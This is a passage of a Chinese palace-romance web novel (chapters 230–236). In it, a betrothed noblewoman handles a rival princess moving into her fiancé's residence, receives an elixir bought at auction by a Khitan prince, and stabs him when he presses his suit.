一个耶律良才还没搞定,如今,祝玲珑又掺了一脚,简直让人火大! 他攥紧拳头看向秦时月,只见她低垂着脑袋,身体微微颤抖。 宋墨辰心中一痛,抱拳,对着皇帝说道:“父皇,儿臣与时月已有婚约!此生,除时月外,儿臣不会要任何人!” 说着,他又脸色阴沉的看向祝玲珑,“本王与郡主仅有几面之缘,并无男女之情,还望郡主令则贤婿!” 皇帝面色不悦。 他本就有意促成这两门亲事,一来可以巩固三国关系,二来也能打压一下宋墨辰的势力。 可他没想到,为了一个女子,宋墨辰竟然敢当场据婚。 听到宋墨辰的话,皇后不自觉的皱起了眉头。 她看了眼秦时月,心里虽然心疼,但对她来说,皇嗣一事是大事,宋墨辰将来是要坐上九五之位的,断不可能为一人遣散后宫。 想了想,她退了一步,道:“郡主,婚姻大事不能儿戏,这样,使团离京还有段时间,这段时间你可以多和辰王走动,互相了解了解,若确定心意,再谈赐婚不迟。” 第231章 秦时月帮腔 皇后心虚的看了眼秦时月的方向,见她没甚反应,这才松口气。 还好时月不是个妒妇,等过两日,她叫时月进宫,与她好好聊聊…… “母后!”宋墨辰眼神一沉,语气压抑。 身为他的亲生母亲,竟然不知他的心思,竟然还当着月月的面胡言乱语,若月月误会这番话是他的心思可如何是好!? “玲珑遵旨。”不等宋墨辰阻止,祝玲珑已经含笑起身,然后害羞说道:“娘娘,玲珑在这里无亲无故的,可否到辰王府暂住?也好与辰王……多多接触、了解。” 耶律良才在一旁看着这一幕,嘴角勾起一抹意味深长的笑容。 他看了看秦时月,又看了看宋墨辰,心中暗自思忖:若是宋墨辰真与祝玲珑成婚,说不定他就有机会赢得秦时月的芳心了。 宋墨辰心中恼火,噗通一下跪在了皇帝面前。 祝玲珑这招当真是打了个好算盘,竟想直接住进王府,这以后还不知要生出多少事端来! 最主要的是,她的入住,一定会让月月不高兴! 想到这,他下意识看向秦时月,只见她依旧低垂着头,看不清表情,可那微微颤抖的身躯,明显已经泄露了她此刻并不平静的内心。 他拱手抱拳,低下了高傲的头颅,“父皇明鉴,儿臣……” “郡主远来是客,住进辰王府,也好让辰王尽地主之谊,让郡主感受到我靖垣的热情。”宋墨辰话没说完,突然听到秦时月的声音。 他不敢置信抬头,只见那张本该被泪水糊满的脸上,竟带着淡淡的笑意。 只是没有人知道,那笑意,未达眼底。 众人皆是一愣,没想到秦时月会突然说出这样一番话。 宋墨辰怎么都没想到秦时月竟会同意祝玲珑住进王府,强忍内心的窒息感,再次张口。 只是不等他开口,祝玲珑已经一脸羞涩的朝着秦时月笑道:“多谢明月县主成全,玲珑感激不尽。” 呵,这秦时月,比她想象中,还要好对付。 不过,她没能在皇帝面前闹起来,没借机让皇帝惩治她,还有点小失望…… 耶律良才眼中闪过一丝冷意,拳头不受控制的攥紧。 秦时月的大度,是她屈服于靖垣男子为尊的传统?还是她,不爱宋墨辰? 他自小长在契丹皇族,见惯了女子为了心爱之人诸多算计,甚至,只是因为吃醋,就容不得对方,一心要将对方置于死地的样子,可现在…… “哈哈……好好好,时月如此识大体,朕心甚悦!”皇帝龙颜大悦,眼底的算计几乎要溢出来,“辰王,如此,你就安排郡主在王府住下吧,好好招待,莫要失了我靖垣的礼数!” 宋墨辰满心不愿,却又无法违抗圣意,只能咬着牙应道:“儿臣遵旨!” 他看向秦时月,眼中满是不甘、气愤和,心疼。 可秦时月却始终没再看他一眼。 她只是静静地站在那,仿佛周围的一切都与她无关了。 皇后心里有些难受,但如今的结局,还是让她松了口气。 南国虽然不是几个附属国里实力最强的国家,但南国和契丹一样,善战,战马更是个个膘肥体壮。 若是和南国联姻,对辰儿来说,也是不小的助力。 时月应该也是想到了这层关系,所以才会替辰儿答应下来。 皇后想到这些,面色又柔和几分。 时月是个好姑娘,以后,她定会为时月做主,绝不叫辰儿负了她! 宴会继续进行,可气氛却变得有些微妙。 祝玲珑得了皇命,脸上笑容洋溢,竟穿过人群,直接来到了宋墨辰身边。 “辰王,接下里的日子,就麻烦您啦。”她眼神中的爱慕丝毫不加掩饰,整个人更是,恨不得扒到宋墨辰身上。 而宋墨辰则心不在焉,心思全在秦时月身上。 看着她强装笑容的样子,心如刀绞。 耶律良才将这一切看进眼里,嘴角一勾,端着酒杯凑到了秦时月身边,“你看,跟着他多累?跟着我就不会,我不会给任何人,任何机会,接近我身边。” 秦时月强忍厌恶,还以一笑,“六皇子说笑了,靠人不如靠己,我秦时月,从来不对任何人抱有期待。” 她生于后宅,长于后宅。 父母的少年恩爱她看在眼里,可少年恩爱,也可以是装出来的深情。 她看过父亲对芳娘的不同,可在她产子之际,他却能流连温柔乡,丝毫记不起那个在鬼门关走一遭的女子。 所以在她心里,情,只是生命中的一件附属品,她死过一次,不至于再傻傻的被困在所谓的深情里…… 不知为何,看到这样的她,耶律良才的心突然漏跳一拍。 若说在这之前,他对秦时月的情分,最多也就是兴趣和占有欲为多。 可如今……看到她一副强装出来的云淡风轻,他竟然觉得,有些难受。 他,不喜欢这样的她。 攥紧酒杯,他仰头喝完杯中酒,不再多言。 宴会在这样微妙的气氛中继续进行着,众人各自心怀心思,表面上却依旧谈笑风生。 宴会结束后,众人纷纷散去。 宋墨辰一直留意着秦时月的一举一动,宴会一结束,他立刻快步走到了她身边。 刚想解释,秦时月却扶住了小荷的手腕,“我累了,走吧,出宫。” 说完,像是没看到宋墨辰伸出的手般,带着小荷匆匆离去。 另一边,祝玲珑见宋墨辰要追,立刻走上前挽住了他的胳膊,“王爷,大家已经走的差不多了,咱们什么时候回府?” 他心里有秦时月那个贱人又如何?她有信心,一定能取而代之! 长乐侯府,揽月园。 小荷扶秦时月半倚在床上,心疼不已,“小姐,您为何要同意那南阳郡主住进王府啊?她一看就没安好心!” 小姐是亲封的县主,而且与王爷有婚约在身,若是小姐不愿意,谁都不能勉强,可她却…… 秦时月苦笑着揉了揉眉心,“不同意又能如何?自古以来,男人三妻四妾就是天经地义。” 第232章 王爷也会纠结不安 她说的轻松,可心里揪痛的感觉却骗不了人,她是在意的,很在意! 小荷咬了咬牙,眼眶泛红,“小姐……” 秦时月眼中闪过一丝落寞,“放心吧,你家小姐不是容不下人的,只要她肯安分,不打扰咱们的日子就能相安无事。” 左右,不是她还有别人。 不管如何,只要不在她眼皮子底下玩心计,不闹到她眼前,她,可以忍。 小荷心里难过。 小姐和王爷的感情是日积月累到今日这般的,他们之间,生死相付,绝不是别人能插足的。 如今她能期望的,也只有宋墨辰对秦时月的感情足够深,免得她家小姐伤心一场…… …… 祝玲珑成功住进辰王府,只是却被安排到了距离宋墨辰寝殿最远的院子。 入住后,有王府丫鬟为她收拾妥当,所有人离开后,她才唤来自己的婢女。 “尽快打听清楚辰王府的情况,打点好府中下人。还有……王爷的所有喜好,王爷与秦时月之间的点点滴滴,我要知道所有细节。” 婢女领命而去。 祝玲珑坐在榻上,眼中透着势在必得的决心。 在她看来,秦时月只是个身无长物的闺中女子,除了会背一些女则女戒,什么都不懂。 而她则不同,她自幼跟随父兄出征,与骁勇善战的宋墨辰自然有说不完的共同语言。 而这,只是她的致胜法宝之一! 另一边。 宋墨辰一脸阴鸷的坐在书房,眉头拧成了一坨。 “王爷,玲珑郡主那边已经安排妥当。”侍书知道宋墨辰的心思,难免有些心疼他。 王爷这一生,四处征战,到处都有他的热血,可如今,碍于皇权,他却不得不接受一个他不喜欢的人进府。 “她的事不用同本王说。时月那边……” “王爷放心,影夜一直跟着,已经安全回府了。” 宋墨辰攥着拳头,眼神里闪过一丝伤感。 那个小没良心的,把他推给了祝玲珑,自己竟然没事人一样回了府。 “王爷,王妃也是有苦难言,您也知道,男人三妻四妾很正常,若王妃当时闹起来,传扬出去,王妃的名声……” “本王何须她出面?”宋墨辰仰头靠在椅背上,眼尾泛红,眼里竟然多了一丝委屈。 他都决定用军功换一道抗婚圣旨了,可那个小没良心的倒好,不开口则以,一开口,竟是直接将他送了出来! “侍书,你说,时月对本王,有情吗?” 宋墨辰心如刀绞。 他从未像现在一样,不确定秦时月的心意,从未像现在一样,担心他们的未来…… “王爷切莫胡思乱想,当初江南水患,王妃听闻您失踪的消息,排除万难也要赶到江南寻您;还有当初在边关时,您的‘死讯’传回京中,京中动荡,只有王妃,不顾一切的赶到边关寻您。还有很多事,属下说不上来,若这些都不是情,那属下也不知道什么是情了。” 侍书的话让宋墨辰眼前一亮,心跳,再次恢复了先前的动力。 是啊,他怎么能怀疑月月对他的情呢!? 他们之间经历了那么多,生死之间他们都不离不弃,他怎会不知!? 是今日之事实在太过突然,才让他一时乱了方寸…… 宋墨辰猛地站起来,眼神危险,“不行,本王不能就这么坐以待毙。有些事,也该提前准备起来了!” 他的月月为他付出了那么多,他决不能让她在婚事上受委屈,更不会让她像其他后宅妇人,日日为后院那点事烦心! 翌日。 秦时月昨日喝的有些多,起床后,小荷贴心的给她备了热水供她洗漱。 洗漱完,她坐在梳妆台前,任由小荷为她装扮。 看着镜中,自家小姐略显憔悴的面容,小荷心疼不已“小姐,您昨夜是不是没睡好?要不再睡个回笼觉?” 今日无事,小姐再睡个回笼觉也是无碍的。 秦时月摇了摇头,“不用,一会儿我打算去趟东市。” “东市?” “嗯,听闻东市的凤羽阁前些日子到了些好东西,今日要进行拍卖,我去看看。” 权当散心了。 “是,奴婢这就去准备。” 秦时月笑笑,“倒也不用准备什么,真有好东西,拍下后,直接让人送府里,让人来府里拿钱就是。” 半个时辰后,秦时月带着小荷出了长乐侯府,坐着马车直奔东市。 秦时月重生一次,已经不再是那种会纠结过往的人,昨日的事,此时已经想开了,透过车窗看着外面热闹的市井景象,脸上的笑意也多了几分。 凤羽阁外,门口人来人往,热闹非凡。 一进门,她们就注意到,里面已经聚集了不少达官贵人与富商巨贾。 秦时月一出现,立刻有人将她引到了二楼,一个带窗的雅间。 她挑挑眉,眼底闪过一丝深意。 她今日来,虽然算不上临时起意,但也没有提前预约或向外宣扬过,也就是说,为她预定雅间的人,怕是在她出府后,猜到她行迹的。 到底是谁,竟然对她如此上心? 拍卖会很快开始,台上的拍卖师滔滔不绝地介绍着一件件拍品,台下众人或是出价竞拍,或是观望品评。 秦时月只是漫不经心地看着,并没有特别感兴趣的东西。 就在这时,拍卖师高声说道:“接下来这件拍品,可是难得一见的珍宝——月露。” “天啊,竟然是月露!传说月露能活死人肉白骨,也不知是真是假!” “管他真假,一会拍下,试试不就知道了?” 若是真的,那价值……可是不可估量的! 众人在台下纷纷交头接耳,眼中满是好奇与贪婪。 活死人肉白骨啊,谁人能拒绝的了这种诱惑? 秦时月也不禁来了兴趣,坐直了身子,眸子向外探去。 只见拍卖师小心翼翼地捧出一个精致的玉瓶,在灯光下,玉瓶闪烁着温润的光泽,仿佛也在彰显着里面所装之物的不凡。 “这月露,是本阁费尽周折,从一位隐世高人手中所得。”拍卖师清了清嗓子,继续说道:“据那高人所言,这月露确有奇效,不仅能治愈重伤之人,长期服用,还可延年益寿!” 第233章 神秘相赠 此言一出,台下顿时一片哗然,有人已经迫不及待地喊道:“快别介绍了,直接报价吧!” 拍卖师笑着点了点头,说道:“此月露,仅此一份,起拍价,一千两白银,每次加价不得少于五百两。” 话音刚落,台下就有人迫不及待地喊道:“三千两!” “四千两!” …… 报价声此起彼伏,价格一路飙升。 秦时月微微皱眉,心中暗自思忖:这月露虽然听起来神奇,但真有如此神效吗? 她跟在东方苑身边学习时间不短,可从没听她提起过月露。 不过,见众人如此争抢,倒也勾起了她的好奇。 就在价格喊到一万两的时候,叫价的声音明显缓了不少。 这时,一个略显尖细的声音从楼下传来:“一万五千两!” 众人纷纷扭头看去,只见是一个穿着华丽,大腹便便的富商,此时,他眼神贪婪,正一脸志在必得的看着拍卖师旁边的玉瓶。 这个富商一开口,全场都安静了下来,不少人面露犹豫之色,毕竟一万五千两白银可不是个小数目。 秦时月思索片刻,心中一动,刚要跟着出价,隔壁雅间里突然传出一道声音:“两万两。” 对方的声音不算大,却清晰地传遍整个大厅。 众人纷纷将目光投向二楼雅间,心中好奇这出手阔绰之人究竟是谁。 那富商听到最新出价,脸色微微一变,眼中闪过一丝不悦。 但还是咬咬牙,喊道:“两万五千两!” 看样子,他是不打算放弃这月露。 秦时月看的好奇,对隔壁雅间人的身份也产生了好奇的念头。 就在楼下的拍卖师满脸喜色的喊,还有没有人加价的时候,隔壁雅间再次加价:“三万两。” “小姐,隔壁的身份怕是不简单……” 秦时月嘴角微勾,朝小荷勾了勾手指,“去,替你家小姐走一遭。” 听到她的吩咐,小荷立刻含笑点了点头,转身退了出去。 楼下的富商迟疑片刻,擦擦额头的冷汗,咬着牙再次喊道:“三万五千……不,三万两千两!” 楼上的也不知是哪位大佛,财势竟然跟他不相上下,再喊下去,他都没信心了。 他念头才起,隔壁雅间再次传来喊价声,四万两。 同一时间,小荷端着一盘糕点,一脸郁闷的走了进来。 “小姐,我按照您的吩咐去敲了隔壁的门,但是对方就两个字,不见。”小荷嘟着嘴,实在替小姐不值。 秦时月挑挑眉,越发好奇对方的身份。 不过,她不是死缠烂打的人,既然对方不想见,那她也不勉强。 在看到月露以四万两白银成交后,她收回思绪,起身就往外走。 热闹看过了,接下来的东西也没什么吸引她的了,留下来无趣,倒不如早点走,免得一会人群大量往外走,挤的慌。 谁知道小荷才拉开房门,就看到门口的小厮抬着手,看样子像是正要敲门。 “你是?”小荷眉头一拧,立刻挡在了秦时月身前。 “小荷姑娘,我代我家主子给秦小姐送些东西,还请小荷姑娘代为转达。” 小厮不动声色的看了小荷身后一眼,然后低下头,恭敬道。 送东西? 小荷不解的回头看向秦时月,见她颇有兴趣的点头,这才接过托盘。 秦时月眸光潋滟,转身重新坐回桌边。 托盘上东西不多,可件件珍品,尤其其中那个质感温润的玉瓶,最是引人注目。 “小姐,是月露!”小荷双眼圆睁,眼底尽是不敢置信。 秦时月嘴角带笑,拿起玉瓶,手指漫不经心的摩挲着。 这隔壁的,费尽心机得到的东西,竟转手给了她,这心思,昭然若揭啊。 “小姐,需不需要奴婢去……” “不用,对方人傻钱多,给咱们,咱们就收着。”正好,她想看看那家伙到底想做什么。 小荷皱皱眉,似懂非懂的点了点头,“那小姐,咱们还走吗?” “不走干嘛?已经没什么可看的的了。”秦时月笑道:“你把这些东西收好,我上马车等你。” 说完,她起身就走,只是刚下一楼,迎面就被人拦了下来。 “秦姐姐?好巧啊!”祝玲珑仰着小脸,视线落在秦时月明艳的小脸上,眼底迅速划过一抹嫉妒。 她的婢女在王府中查到的东西不多,除了宋墨辰的喜好,其余的,全是秦时月的喜好。 对她来说,这简直就是奇耻大辱。 她身为未来辰王妃,是绝对不能允许府中下人对秦时月如此上心的! “玲珑郡主,景阳郡主,你们好。”秦时月打完招呼,绕过两人就走。 她并没有忽略两人眼底的嫉恨和仇视。 可对她来说,她们甚至算不上对手,她自然也没必要放在心上。 “站住。本郡主说你可以走了吗?” 秦时月还没走出去两步,身后突然传来赵景阳霸道的声音。 秦时月脚下一顿,原地停下来,转了过来。 唉,她是真没想搭理这两个蠢货,奈何,她们上赶着要找虐。 “秦姐姐,你莫怪景阳,她就是想邀请你一起坐坐。”祝玲珑看着赵景阳,在心里暗骂一声蠢货,巧笑倩兮道。 这个时候,可不是和秦时月翻脸的时候,等她彻底拿到宋墨辰的心,到时候,秦时月还不是任由她搓揉拿捏!? “小姐……” 就在这时,小荷抱着大大小小的锦盒追了过来,走近才发现气氛不对,当即皱起了眉头。 “没事,你先把东西送回府,我与两位郡主聊聊天,晚些自己回去。” 秦时月知道小荷胆子小,安抚着说道。 小荷扭头看了看面色不善的赵景阳和祝玲珑,知道自己留下来不仅帮不上忙,还可能会成为自家小姐的累赘,当即咬着牙点了点头,转身就走。 这种情况,她还是去找王爷过来的好! “站住。”祝玲珑突然出声,“这个丫头手里抱着的,不会是月露吧?” 方才的拍卖,她看到了,也看到了包装玉瓶的锦盒,怎么看,都是眼前这个。 秦时月挑挑眉,眼尾带笑,“玲珑郡主好眼力,确实是月露。” 第234章 全员下场? “没想到,拍下月露的竟然是秦姐姐。”祝玲珑的眼力闪过一丝震惊、嫉妒糅杂的复杂情绪,但她很快收敛情绪,笑道:“也对,秦姐姐如今走商贾道,在京都有多处产业,能拿出这么多钱,确实不算什么。” 士农工商,商为最末,最上不得台面的营生。 祝玲珑这是在讽刺她身份低贱? 秦时月面上的笑意不减,眼底却多了几分兴致。 本以为这祝玲珑是个不让巾帼的女英雄,先前她还想着结交来着,如今看来,也不过是个眼界短浅的,有勇无谋的蠢货。 商为最末,可所有人都知道的一个最浅显的道理,她一个常年随父兄领兵打仗的人却不懂。 没有钱,不足以支撑军队的开销,不足以支撑战事的推进。 都说强国无兵戎,可强国,也是靠金山银海堆出来的。 而她秦时月,有朝一日,一定会掌控九洲大地,所有的财富! 秦时月轻轻一笑,说道:“玲珑郡主的话虽然没什么毛病,但这月露,着实不是我拍下的,而是他人相赠。” 那家伙送了自己这么多贵重的东西,不让他出出名,他怕是坐卧难安。 既然人都到齐了,他也断然没有置身事外的道理! 说完,她转而看向小荷,“去,将耶律皇子请过来。” 小荷听到这话先是愣了一下,反应过来,立刻抱着锦盒,朝二楼走而去。 祝玲珑和赵景阳听到“耶律皇子”四个字,皆是一愣。 耶律皇子?耶律良才? 他怎么会送月露给秦时月? 很快,小荷就带着耶律良才走了过来。 耶律良才今日身着契丹服饰,异域风情的服装、配饰,趁的他五官深邃,竟与平时温润如玉的样子大相径庭。 他一出现,周围人的目光纷纷投了过来。 “呵,时月聪慧,竟这么快猜到了我的身份。”耶律良才笑看着秦时月,眼底的宠溺根本藏不住。 秦时月暗暗翻个白眼,轻轻一笑,接过小荷手中的玉瓶,故作为难的说道:“六皇子今日送我的这份大礼,实在太过贵重,六皇子还是收回,或转赠他人吧,免得被有心人说我觊觎不属于自己的东西……” 祝玲珑脸色一白,不自觉的咬了咬嘴唇。 这个贱人,竟然用这种下三滥的手段挑唆她和耶律皇子的关系。 她此行,南国君主特意交代过,一定要想办法维护好南国和契丹的关系,毕竟,他们这样的附属小国想要不被吞并,唯一的办法就是联合起来。 可现在…… 祝玲珑转而看向耶律良才,果然,他的脸色已经难看起来。 耶律良才微微皱眉,似笑非笑的看向祝玲珑和赵景阳,“转赠他人?不会是她们俩吧?” 秦时月心中暗笑,也不澄清,也不解释。 不过,这还是她第一次见到耶律良才如此腹黑的一面,当真,有趣。 赵景阳咬了咬嘴唇,忍不住开口道:“时月姐姐,你这么说,不会是故意想让六皇子误会吧?” 该死的贱人!果然心思歹毒! 秦时月笑的无辜,“景阳郡主说笑了,我母亲只生了两个孩子,一个是长乐侯府的嫡长子秦怀瑾,另一个便是我,我可不记得,我有什么妹妹。” 一个两个都想进辰王府,姐姐姐姐,听着就烦! 赵景阳和祝玲珑又是一愣,没想到她会拿这件事说事。 喊她一声姐姐,不过是因为看在皇帝的那道赐婚圣旨上,她真以为她们甘愿屈居人下啊! “秦姐姐,我们年纪小,有说的不对的地方还请姐姐见谅。这月露,是六皇子送你的,你快收好吧。话说回来,六皇子对姐姐的心意……玲珑真是羡慕不来。” 如今耶律良才对秦时月有意,她又一心要嫁宋墨辰,若是能撮合秦时月和耶律良才,不仅能在耶律良才那提升好感,还能除掉一个劲敌,何乐不为? 祝玲珑心思一转,脸上立刻堆满了讨喜的笑容。 耶律良才眼睛一眯,扫了祝玲珑一眼。 他心里清楚祝玲珑打的什么主意,要不是他真的喜欢秦时月,怎会允许她在这放肆? 秦时月自然也看穿了祝玲珑的小心思,她轻轻摇了摇头,说道:“不会说话就少说点,免得怎么死都不知道。” “你说什么!?”祝玲珑脸色一变,眼底闪过一丝狠意。 秦时月冷哼一声,“我说什么?我说,你就是再无知,也该知道我与辰王有陛下亲赐的婚约在身,你今日当众污蔑未来辰王妃,若是传进宫里,可想过后果!?” 一句话,怼的祝玲珑哑口无言。 她看着秦时月张张嘴,最后却咬紧下唇,一个声音也发不出来。 耶律良才欣赏着赵景阳和祝玲珑五彩斑斓的脸色,心情大好。 不愧是他喜欢上的女人,就秦时月这个彪悍的样,将来他们成婚后,定没人敢招惹他! “时月……”他扭头看向秦时月,毫不掩饰怼她的喜欢。 秦时月暗暗翻个白眼,皮笑肉不笑的警告,“六皇子慎言,方才的话,不只是说给两位郡主听的,还有你。我与辰王的婚约乃是陛下亲赐,你这般毫不避讳的直呼我的小名,传出去,对谁都不好!” 她不想猜测耶律良才的真实用心,也不想无端生出些不必要的麻烦来。 耶律良才微微一怔,强人不快,答应下来,“秦小姐说得是,是我唐突了。” 话虽如此,可他看向秦时月的眼神依旧炽热。 他愿意改,不是畏惧皇权,而是不忍心在成婚前,让秦时月饱受流言蜚语的打扰。 赵景阳和祝玲珑在一旁看着两人的互动,心中嫉妒之火熊熊燃烧。 她们一直自恃身份高贵,自认为只有像宋墨辰那样的男人才配得上她们,可如今,眼看宋墨辰和耶律良才的心思全在秦时月身上,她们怎能不气?怎么能咽的下这口气? “呵,秦姐姐,就算你有陛下赐婚又如何,辰王哥哥不喜欢你,有圣旨也无用。”赵景阳忍不住嘲讽道。 第235章 试试月露的效果 祝玲珑有些后悔。 她就不该让人找赵景阳这个蠢货过来。 本以为是给自己暂时拉了个同盟,等一起处理了秦时月这个棘手的,再调转枪头对付赵景阳,没想到这赵景阳根本没脑子! 祝玲珑莞尔一笑,转而看向秦时月,“姐姐,玲珑心思单纯,只是想与姐姐一同陪在王爷身边,王爷身份尊贵,将来或可登上至尊之位,他身边,总不可能只有一人相伴,你说对吗?” 说完这话,祝玲珑故意对上秦时月的视线,嘴角勾起一抹志在必得的笑。 方才那番话她自觉说得滴水不漏,既点明了宋墨辰未来身边不可能只有一人,又暗戳戳捧了自己的地位,句句都往秦时月的痛处扎。 在她看来,秦时月就算嘴硬,心里定然也会发慌。 一个空有赐婚圣旨却不能独得夫君恩宠的女子,除了强撑着面子和自己辩驳几句,还能做些什么呢? 秦时月没有说话,只是瞪了她一眼,转身便想离开,不愿再和祝玲珑多做纠缠。 是啊,宋墨辰身为辰王,将来是要坐上那九五至尊的位置,身边怎么可能会少了莺莺燕燕。 见秦时月要走,耶律良才立即跟了上去。 “姐姐何必走得这么急?”祝玲珑故意喊道:“玲珑说的都是掏心窝子的话,你我同为女子,将来若真能共事一夫,互相帮衬着些,总好过针锋相对……” 赵景阳在一旁听得得意连连,附和道:“玲珑郡主说的是,时月姐姐,你也别太把自己当回事。” 然而秦时月脚步未停,连一个眼神都没分给她们。 察觉到自己被无视,赵景阳气得攥紧了拳头,“贱人,竟敢无视我们!” “急什么?”祝玲珑按住她的手,眼底闪过一丝狠辣,“她越是装清高,将来摔得就越惨,我们且看着就是。” 另一边,秦时月快步穿过人群,耳边终于清静了些。 方才祝玲珑那番话,她并非毫不在意。 共侍一夫……先前的她觉得自己可以,可如今,她似乎,做不到了。 况且,她秦时月的人生从来不由旁人规划,更容不得旁人指手画脚。 如果宋墨辰确定要扩充后院,那也要在她不会委曲求全的情况下! 不知为何,秦时月突然感觉自己的心口痒痒的,有些憋闷。 她皱了皱眉,抬手按了按胸口。 许是方才跟祝玲珑她们争执动了气,才会有这般异样。 “秦小姐留步。”耶律良才追了上来。 闻言,秦时月脚步一顿,不用回头也知道是谁,她侧过身,看着耶律良才大步追上来,“六皇子还有事?” 她语气平淡,听不出情绪。 耶律良才笑了一下,并没有回答她的问题,而是站到她身侧,用欣赏的目光上下打量着她,眼底还藏着几分算计。 “在下就是想问问,秦小姐对辰王,当真那般在意?” 正所谓当局者迷,作为局外人,耶律良才看得出来,秦时月对宋墨辰,是有情谊的。 “六皇子追上来,就是为了问这个?” “自然不是。”耶律良才往前一步,拉近了些距离,声音压低了些,“我只是想告诉秦小姐,比起辰王,我或许是更好的选择。” 他微微扬下巴,语气里带着自信,“论财力,契丹的牧场与铜矿,足以让你衣食无忧;论样貌,我自认不输于他;论心意,我能保证,只要你答应嫁与我,从此,我的眼里、身边只有你一人,不像他,身边总围着莺莺燕燕。” 只要她说愿意,他必然八抬大轿十里红妆迎娶她。 可秦时月却只觉得聒噪。 她往后退了半步,拉开距离,“六皇子的好意我心领了,但我与辰王有圣旨赐婚,容不得旁人置喙。” “圣旨?”耶律良才不以为意,“若秦小姐愿意,我大可去跟你们的皇帝陛下说,契丹愿以三座城池为聘,换你嫁给我,你可愿意?” 听到这番惊世骇俗的话,秦时月不禁皱起眉头。 盯着耶律良才的脸看了许久,她才意识到,他说的,并不是玩笑话。 这一刻,她忽然意识到,耶律良才绝非表面看起来那般温润无害,他,绝对是另有图谋。 与其被他缠着说这些没用的,不如趁机探探他的底细。 “六皇子倒是大方,不过,我更好奇另一件事。”秦时月勾唇轻笑,故意说道。 “秦小姐想知道什么?” “我想知道,”秦时月盯着他的眼睛,一字一句问道:“六皇子为什么用褚良才的身份留在京城呢?或者说,你们在暗中谋划着什么?” 闻言,耶律良才脸上的笑容淡了些,眼底闪过一丝异样,随即又恢复如常。 他没想到秦时月会突然问这个,而且问得如此直接。 “秦小姐多虑了,我不过是觉得,既然留在京城,那就应该给自己起个京城的名字。”耶律良才并没有正面回答。 见他这副心虚的模样,秦时月在心里冷哼一声,没有拆穿。 耶律良才留在京城,绝对是有大事要做,他的谋划绝对远不止于此! “秦小姐,我很是好奇月露的真实功效,不知小姐可否为我讲解一二?”耶律良眼珠子一转,转移了话题。 秦时月看他避而不答,心里了然,面上不动声色。 “它除了养颜美容,是否还有别的功效?”耶律良才故意问道。 “自然。”秦时月微微一笑,平静地看着他,“传闻这月露是用极北之地的冰莲蕊提炼而成,除了养颜,还能……” 话没说完,她忽然抬手,从袖中抽出一把小巧的匕首。 不等耶律良才反应过来,她将匕首直接插入了他的肩膀,眼神则带着一丝戏谑。 耶律良才瞳孔骤缩,猛地低头看向自己的左臂。 此时,鲜血正从伤口处渗出,有些骇人。 “你……”耶律良才满脸不可置信。 “六皇子不是好奇月露的功效吗,现在正好可以试试。”秦时月收回匕首,巧笑倩兮的抽出腰间的手帕,将匕首上的血迹擦去。 第236章 他的计划 “你!”耶律良才反应过来,随即笑道:“好啊,那便试试。” 可真是有趣,有趣得紧! 哪家贵女会在街头当众伤人?这秦时月,着实有趣。 “既然六皇子嘴里没句实话,那就不要再来招惹我。”秦时月冷哼一声,挑衅地看了他一眼,转身就走,没有丝毫留恋。 耶律良才站在原地,看着她的背影消失在人群里,又低头看了看自己渗血的伤口,非但不恼,反而低低地笑了起来。 这个小没良心的,下手还真狠。 然而这一切,都被站在远处的影夜看了个正着。 影夜暗中护送秦时月回府后,便径直回到王府复命。 书房里,宋墨辰正站在窗前,手上拿着一本兵家兵法,视线却停留在长乐侯府的方向。 “王爷,方才的事情,属下都看见了,耶律良才对王妃动手动脚,王妃用匕首伤了他。”影夜如实禀报。 他站得远,并没有听清两人之间的对话,只能如实将他们发生的肢体动作描述出来。 听到这话,宋墨辰的眼神顿时冷了下来,他转身,走到檀木桌旁,重重捶了一下桌子。 好一个耶律良才,光天白日下,竟敢对他的人动手动脚! 看来要给耶律良才找点事情做了。 “她没吃亏就好。”宋墨辰淡淡开口,语气听不出喜怒,“耶律良才那边盯紧些,我倒要看看,他究竟想做什么。” “是。”影夜应声。 “月月那边……”宋墨辰顿了顿,喉结微动。 说到底,都是他不好,暂时没有能力为她撑起一片天。 “多派些人保护。” “属下明白。”影夜作揖。 王爷对王妃的感情他是知道的,自然也清楚该如何做。 就在这时,侍书匆匆赶回,不轻不重地敲了敲门,宋墨辰看了影夜一眼,影夜立即隐入暗处。 “进来。” 下一秒,侍书捧着茶盏轻步进来。 他将茶盏放到桌上,仔细给宋墨辰斟了一杯茶,然后又见屋内的烛火调得更亮了些。 “事情办得怎么样了?”宋墨辰冷声问道。 “王爷,都安排妥当了。”侍书回道。 他语气平静,像是在回禀一件极小的事情。 听到满意的回答,宋墨辰嘴角微勾,端起桌上的茶杯一饮而尽。 是时候了,早点做完这些事,早点和月月把事情说开。 他可不想让月月对他一直心生嫌隙。 “嗯,让底下人手脚干净些,别留下把柄。”宋墨辰抬眸,冷声命令。 “王爷放心。”侍书犹豫片刻还是问道:“王爷,您筹谋这些,真打算一直瞒着王妃吗?她毕竟是您的未婚妻……” 侍书能看出来,秦时月对宋墨辰是有情绪的,如果不解开心结,他担心将来捅出更大的篓子,自家王爷会后悔。 “不必。”宋墨辰打断他,“此事凶险,何必让她跟着担惊受怕。” 若是做成了,月月只需跟着他享受胜利的喜悦,若是失败了……所有的罪责,都会由他一人扛下,而月月,依旧是京城里高贵的县主。 无论从哪方面看,都绝对不能让秦时月知道这件事。 宋墨辰比谁都清楚,一旦踏出那步,便是万丈深渊。 侍书见他神色坚决,便不再多言。 “祝玲珑住进来后,她可有不满?”宋墨辰试探性地问道,眼神中有些躲闪。 “……未曾。”侍书回道。 闻言,宋墨辰突然感觉心中空落落的,不等他深究,门外突然传来一女子的声音。 仔细一听,那声音似乎是祝玲珑的。 “王爷可在?”祝玲珑故意夹着嗓子,矫揉造作地喊了一句。 宋墨辰看了侍书一眼,侍书心领神会,走过去将书房门打开,走了出去。 “玲珑郡主请。”侍书对祝玲珑恭敬地作了一揖,并往旁边走了一步,示意她可以进去。 待祝玲珑进入书房后,侍书并未将书房门关上,相反,候到了一旁。 祝玲珑今日穿了一身水绿色罗裙,衬得她肌肤胜雪,她提着食盒,径直走到了宋墨辰身旁。 “王爷,玲珑见您近日劳累,特意炖了盅参汤,您尝尝?” 回府后,祝玲珑便钻进小厨房里,只是这汤,并非她所做,而是她身边的婢女所做。 之所以这么说,为的是讨宋墨辰的欢心,让他看看,什么才是贤妻良母。 她将玉盅捧到案前,宋墨辰瞥了眼汤盅,并未动勺。 “郡主有心了。”宋墨辰淡淡地说了一句。 听到这话,祝玲珑心头一喜,害羞地低下了头,“王爷哪里话,只要王爷喜欢,玲珑可以日日为王爷煲汤。” “以后这种活交给下人去做即可。”宋墨辰立即出言阻止,并找补,“别累着了。” 